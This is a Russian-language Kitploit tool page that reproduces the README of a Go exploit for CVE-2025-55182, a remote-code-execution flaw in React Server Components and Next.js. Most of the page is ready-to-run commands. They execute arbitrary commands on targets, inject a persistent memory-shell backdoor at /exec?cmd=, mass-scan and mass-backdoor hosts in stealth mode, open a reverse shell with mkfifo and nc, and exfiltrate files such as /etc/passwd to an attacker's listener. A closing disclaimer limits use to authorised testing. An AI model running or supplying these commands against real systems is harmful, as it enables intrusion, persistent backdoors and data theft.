Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182-golang-PoC — Доказательство концепции на Go для CVE-2025-55182, критической RCE в React Server Components. Включает проверку уязвимости, выполнение команд, инъекцию шелла в память, реверс-шелл, массовое сканирование и поддержку прокси для авторизованного тестирования безопасности. | Kitploit
Инструменты/GitHubGitHub/keklick1337/cve-2025-55182-golang-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийПост-эксплуатацияТестирование на ПроникновениеКомандование и УправлениеRed TeamingИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubkeklick1337/cve-2025-55182-golang-poc

CVE-2025-55182-golang-PoC

Доказательство концепции на Go для CVE-2025-55182, критической RCE в React Server Components. Включает проверку уязвимости, выполнение команд, инъекцию шелла в память, реверс-шелл, массовое сканирование и поддержку прокси для авторизованного тестирования безопасности.

РепозиторийСайт
6119 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-55182 Удаленное выполнение кода в React Server Components — PoC на Go

⚠️ ТОЛЬКО ДЛЯ АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ ⚠️

Описание

CVE-2025-55182 (также известная как CVE-2025-66478) — это критическая уязвимость удаленного выполнения кода (RCE) в React Server Components (протокол Flight). Данный инструмент представляет собой реализацию PoC на Go для исследований в области безопасности и авторизованного тестирования на проникновение.

Затронутые версии:

  • react-server-dom-webpack: 19.0.0 – 19.2.0
  • Next.js: 15.x (до исправлений: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7)
  • Next.js: 16.x (до 16.0.7)
  • Next.js: 14.3.0-canary.77 и более поздние canary-версии

Детали уязвимости

Эксплойт использует загрязнение прототипа (prototype pollution) при десериализации протокола Flight:

  1. Использует десериализацию $@ для получения ссылки на Chunk
  2. Помещает Chunk.prototype.then как свойство then корневого объекта
  3. Устанавливает статус RESOLVED_MODEL, чтобы вызвать с контролируемым поддельным чанком
initializeModelChunk
  • Запускает десериализацию Blob, которая вызывает response._formData.get с полезной нагрузкой атакующего
  • Устанавливает response._formData.get на конструктор Function для выполнения произвольного кода
  • Возможности

    • Полноценное RCE — выполнение произвольных команд с выводом
    • Режим проверки уязвимости — безопасное обнаружение без эксплуатации
    • Определение версии Next.js — автоматическое определение версии по отпечаткам
    • Внедрение Memory Shell — постоянный бэкдор на /exec?cmd=
    • Пакетное сканирование — многопоточное сканирование с выводом в JSON
    • Полная поддержка прокси:
      • SOCKS5 с аутентификацией и без
      • SOCKS4/SOCKS4a
      • HTTP/HTTPS прокси с аутентификацией и без
    • Стелс-режим — User-Agent браузера, краулера, сканера безопасности
    • Ограничение скорости — настраиваемые задержки между запросами
    • Обратный шелл — mkfifo + nc (работает на Alpine/busybox)
    • Эксфильтрация данных — отправка вывода команды POST-запросом на сервер атакующего
    • Кроссплатформенная сборка — более 30 комбинаций ОС/архитектур
    • Вывод в JSON — машиночитаемые результаты для автоматизации

    Установка

    Готовые бинарные файлы

    Скачайте последний релиз для вашей платформы из GitHub Releases.

    Доступные бинарники:

    • Linux: amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
    • Windows: amd64, 386, arm64
    • macOS: amd64 (Intel), arm64 (Apple Silicon)
    • FreeBSD, OpenBSD, NetBSD: amd64, 386, arm, arm64
    • И другие…

    Из исходного кода

    root@kitploit:~
    # Клонирование репозитория
    git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
    cd CVE-2025-55182-golang-PoC
    
    # Сборка для текущей платформы
    go build -o cve-2025-55182 .
    
    # Или сборка для всех платформ
    chmod +x build.sh
    ./build.sh
    

    Сборка из исходников

    После запуска ./build.sh бинарные файлы будут находиться в каталоге build/ для всех поддерживаемых платформ.

    Использование

    Базовые команды

    root@kitploit:~
    # Проверка одной цели на уязвимость
    ./cve-2025-55182 -u http://target:3000 --check
    
    # Определение версии Next.js
    ./cve-2025-55182 -u http://target:3000 --version-check
    
    # Выполнение команды с выводом
    ./cve-2025-55182 -u http://target:3000 -c "id"
    ./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"
    

    Memory Shell (постоянный бэкдор)

    root@kitploit:~
    # Внедрение memory shell (сначала проверяет, не установлен ли уже)
    ./cve-2025-55182 -u http://target:3000 --memshell
    
    # Проверка активности memory shell
    ./cve-2025-55182 -u http://target:3000 --test-shell
    
    # Выполнение команды через memory shell
    ./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"
    
    # После внедрения можно также использовать curl напрямую:
    curl 'http://target:3000/exec?cmd=id'
    curl 'http://target:3000/exec?cmd=whoami'
    

    Пользовательские заголовки и обход SSL

    root@kitploit:~
    # Добавление пользовательских заголовков (можно использовать несколько раз)
    ./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
    ./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'
    
    # Пропуск проверки SSL-сертификата (для самоподписанных сертификатов)
    ./cve-2025-55182 -u https://target:3000 --check -k
    ./cve-2025-55182 -u https://target:3000 --check --insecure
    
    # Комбинирование с другими опциями
    ./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080
    

    Поддержка прокси

    root@kitploit:~
    # SOCKS5 с аутентификацией
    ./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080
    
    # SOCKS5 без аутентификации
    ./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080
    
    # SOCKS4 прокси
    ./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080
    
    # HTTP прокси
    ./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080
    

    Пакетное сканирование

    root@kitploit:~
    # Пакетная проверка из файла
    ./cve-2025-55182 --urls targets.txt --check
    
    # Пакетное сканирование с выводом в JSON
    ./cve-2025-55182 --urls targets.txt --check --json -o results.json
    
    # Пакетное сканирование с несколькими потоками и стелс-режимом
    ./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s
    
    # Сохранение уязвимых целей в файл
    ./cve-2025-55182 -f targets.txt --check -o vulnerable.txt
    
    # Пакетное внедрение memory shell
    ./cve-2025-55182 --urls targets.txt --memshell --workers 10
    
    # Пакетное выполнение команд
    ./cve-2025-55182 --urls targets.txt -c "id" --threads 5
    

    Сетевая эксфильтрация

    root@kitploit:~
    # Обратный шелл (mkfifo + nc, работает на Alpine)
    ./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444
    
    # Сначала запустите слушатель на машине атакующего:
    nc -lvnp 4444
    
    # Эксфильтрация вывода команды через HTTP POST
    ./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444
    
    # Запустите слушатель: nc -lvnp 4444
    

    Параметры

    ПараметрОписание
    -u, --urlЦелевой URL (например, http://localhost:3000)
    -f, --fileФайл с целевыми URL (по одному на строку)
    --urlsПсевдоним для -f/--file
    -o, --outputВыходной файл для уязвимых целей
    --jsonВывод результатов в формате JSON
    -c, --commandКоманда для выполнения (с выводом)
    --checkПроверка на уязвимость
    --version-checkОпределение версии Next.js
    --proxyURL прокси (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port)
    -H, --headerПользовательский заголовок (можно использовать несколько раз)
    -k, --insecureПропустить проверку SSL/TLS сертификата
    --stealthСтелс-режим: browser, crawler, security (по умолчанию: browser)
    --delayЗадержка между запросами (например, 2s, 500ms)
    --variantsИспользовать несколько вариантов полезной нагрузки для тщательной проверки
    --memshellВнедрить memory shell (постоянный бэкдор)
    --test-shellПроверить, активен ли memory shell
    --shell-execВыполнить команду через memory shell
    --revshell IP PORTУстановить обратный шелл
    --exfil CMD IP PORTВыполнить команду и отправить вывод POST-запросом
    -t, --timeoutТайм-аут запроса в секундах (по умолчанию: 15)
    --threadsКоличество параллельных потоков (по умолчанию: 10)

    Типы прокси

    root@kitploit:~
    socks5://user:pass@ip:port  — SOCKS5 с аутентификацией
    socks5://ip:port            — SOCKS5 без аутентификации
    socks5h://ip:port           — SOCKS5 с удаленным разрешением DNS
    socks4://ip:port            — SOCKS4 прокси
    socks4a://ip:port           — SOCKS4a прокси
    http://user:pass@ip:port    — HTTP прокси с аутентификацией
    http://ip:port              — HTTP прокси без аутентификации
    https://ip:port             — HTTPS прокси
    

    Стелс-режимы

    РежимОписание
    browserИмитирует запросы реального браузера (Chrome, Firefox, Safari, Edge) — по умолчанию
    crawlerИмитирует краулеры поисковых систем (Googlebot, Bingbot, Baiduspider и др.)
    securityИспользует User-Agent'ы сканеров безопасности (Nessus, Nuclei)

    Memory Shell

    Функция memory shell внедряет постоянный бэкдор, который:

    1. Сначала проверяет — перед внедрением проверяет, не установлен ли уже шелл
    2. Перехватывает http.Server.prototype.emit — перехватывает все HTTP-запросы
    3. Создает конечную точку /exec — принимает параметр запроса cmd
    4. Живет до перезапуска — сохраняется в памяти сервера
    root@kitploit:~
    # После внедрения:
    curl 'http://target:3000/exec?cmd=id'
    curl 'http://target:3000/exec?cmd=ls+-la'
    curl 'http://target:3000/exec?cmd=cat+/etc/passwd'
    

    Структура проекта

    root@kitploit:~
    .
    ├── main.go                   # Точка входа CLI
    ├── pkg/
    │   ├── colors/
    │   │   └── colors.go         # Цвета терминала с поддержкой --nocolor
    │   ├── exploit/
    │   │   └── exploit.go        # Основная логика эксплойта, memory shell, определение версии
    │   ├── proxy/
    │   │   └── proxy.go          # Поддержка SOCKS4/5, HTTP прокси
    │   ├── scanner/
    │   │   └── scanner.go        # Пакетное сканирование с выводом в JSON
    │   └── stealth/
    │       └── stealth.go        # Рандомизация User-Agent
    ├── build.sh                  # Скрипт кроссплатформенной сборки
    ├── go.mod                    # Файл модуля Go
    ├── go.sum                    # Зависимости Go
    └── README.md                 # Этот файл
    

    Кроссплатформенная сборка

    Скрипт build.sh собирает для более чем 30 платформ:

    • Linux: amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
    • Windows: amd64, 386, arm64 (.exe)
    • macOS: amd64 (Intel), arm64 (Apple Silicon)
    • FreeBSD: amd64, 386, arm, arm64
    • OpenBSD: amd64, 386, arm, arm64
    • NetBSD: amd64, 386, arm, arm64
    • DragonFly BSD: amd64
    • Solaris/Illumos: amd64
    • Plan 9: amd64, 386
    • AIX: ppc64
    root@kitploit:~
    chmod +x build.sh
    ./build.sh
    

    Формат вывода JSON

    При использовании флага --json результаты сохраняются в формате JSONL (один JSON на строку):

    root@kitploit:~
    {"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}
    

    Полный отчет (_report.json) включает:

    root@kitploit:~
    {
      "scan_time": "2025-12-06T12:00:00Z",
      "total_urls": 100,
      "vulnerable_count": 5,
      "safe_count": 90,
      "timeout_count": 5,
      "results": [...]
    }
    

    Определение версии

    Инструмент может определять версию Next.js по:

    • Заголовку X-Powered-By
    • Исходному коду HTML/JS (__NEXT_DATA__, пути /_next/)
    • Шаблонам манифеста сборки

    Уязвимые версии выделяются красным цветом.

    Отказ от ответственности

    ⚠️ ВАЖНОЕ ЮРИДИЧЕСКОЕ УВЕДОМЛЕНИЕ ⚠️

    Данный инструмент предоставляется строго для образовательных целей и только для авторизованного тестирования безопасности.

    Предполагаемое использование

    • Исследования в области безопасности и оценка уязвимостей
    • Авторизованное тестирование на проникновение с письменного разрешения
    • Тестирование собственных приложений и инфраструктуры
    • Образовательные демонстрации в контролируемых лабораторных условиях
    • Разработка патчей и средств защиты

    Запрещенное использование

    Категорически запрещается использовать данный инструмент:

    • Против систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения
    • Для любых вредоносных, незаконных или несанкционированных действий
    • Для получения несанкционированного доступа к компьютерным системам или сетям
    • В нарушение применимых местных, государственных, национальных или международных законов
    • Для нарушения работы, повреждения или компрометации систем без разрешения

    Юридическое предупреждение

    Несанкционированный доступ к компьютерным системам является уголовным преступлением в большинстве юрисдикций по всему миру, включая, но не ограничиваясь:

    • 🇺🇸 США: Закон о компьютерном мошенничестве и злоупотреблениях (CFAA) — до 20 лет тюремного заключения
    • 🇪🇺 ЕС: Директива 2013/40/EU об атаках на информационные системы
    • 🇷🇺 Россия: Статья 272-274 Уголовного кодекса
    • 🇬🇧 Великобритания: Закон о неправомерном использовании компьютеров 1990 года
    • 🇩🇪 Германия: §202a-202d Уголовного кодекса Германии
    • 🇨🇳 Китай: Статьи 285-287 Уголовного кодекса

    Отсутствие гарантий

    ДАННОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ «КАК ЕСТЬ», БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ, ЯВНЫХ ИЛИ ПОДРАЗУМЕВАЕМЫХ. АВТОРЫ И ПРАВООБЛАДАТЕЛИ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ЗА КАКИЕ-ЛИБО ПРЕТЕНЗИИ, УБЫТКИ ИЛИ ИНУЮ ОТВЕТСТВЕННОСТЬ, ВОЗНИКАЮЩИЕ В РЕЗУЛЬТАТЕ ИСПОЛЬЗОВАНИЯ ДАННОГО ПРОГРАММНОГО ОБЕСПЕЧЕНИЯ.

    Ответственность пользователя

    Загружая, устанавливая или используя этот инструмент, вы подтверждаете, что:

    1. Вы несете единоличную ответственность за свои действия
    2. Вы будете использовать этот инструмент только на системах, которые вам принадлежат или на тестирование которых у вас есть явное разрешение
    3. Вы понимаете и принимаете все риски, связанные с использованием данного программного обеспечения
    4. Автор не несет ответственности за любое неправомерное использование или причиненный ущерб

    Если вы не согласны с этими условиями, не используйте данный инструмент.

    Автор

    Владислав Тисленко, также известный как keklick1337
    Дата: 2025-12-05

    Лицензия

    Этот проект лицензирован на условиях лицензии MIT — подробности см. в файле LICENSE.


    Используйте ответственно. Оставайтесь в рамках закона. 🔐

    Скачать инструмент
    --workersПсевдоним для --threads
    --nocolorОтключить цветной вывод (для Windows/pipes)
    -h, --helpПоказать справку
    -v, --versionПоказать версию